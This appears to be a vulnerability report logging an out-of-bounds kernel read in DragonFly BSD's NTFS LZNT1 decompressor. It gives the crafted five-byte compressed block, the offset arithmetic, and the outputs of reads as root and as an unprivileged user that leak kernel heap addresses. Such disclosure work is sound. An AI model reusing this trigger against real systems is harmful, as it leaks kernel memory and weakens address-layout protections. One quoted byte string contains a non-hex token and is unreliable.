=== DF-0932 live in-kernel LZ77 underflow leak === Kernel: DragonFly 6.5-DEVELOPMENT #0 (default GENERIC, INVARIANTS ON) Mount options: -t ntfs -o ro,-u=1001,-g=1001 /dev/vn0 /mnt/evil (root mounts; maxx uid 1001 reads -- realistic admin-mount of attacker-supplied filesystem image, see DF-0871/0873/0878 precedent) Trigger: crafted NTFS image, compressed file F at MFT record 32 LZNT1 block: 02 80 01 FF FF (5 B, padded to 4096 with 0x00) header 0x8002 (compressed, len=2) tag 0x01 (first sub-token = back-reference) token 0xFFFF (LE) -> at pos=0, dshift=12, lmask=0xFFF: boff = -1 - (0xFFFF>>12) = -16 blen = 3 + (0xFFFF & 0xFFF) = 4098 -> buf[pos+boff] reads buf[-16..-1] (16 B of slab neighbour of uup) -> LZ77 sliding window propagates the 16 leaked bytes across all of buf[0..4095] -> uiomove at ntfs_subr.c:1723 ships leaked bytes to reader --- baseline (#0 GENERIC), reads after heap-warming (find / -name '*.ko') --- root read 1: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00 root read 2: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00 root read 3: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00 root read 4: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00 root read 5: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00 --- as unprivileged maxx (uid 1001, NOT in wheel) --- $ id uid=1001(maxx) gid=1001(maxx) groups=1001(maxx) $ cat /mnt/evil/F | head -c 16 | od -An -tx1 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00 RC=0 Those bytes are DragonFly kernel virtual addresses: LE u64 at +0: 0x00000008_00bd7000 LE u64 at +8: 0x00000008_006a34c0 (Earlier session showed f8 ff f9 ff fa ff fb ff fc ff rd ff fe ff ff ff, the tail of the $UpCase table loaded into RAM during mount. Both are kernel heap memory, NOT file content.) CONCLUSION: buf[pos+boff] with pos=0, boff=-16 dereferences memory preceding the M_NTFSDECOMP uup allocation and ships the bytes to user.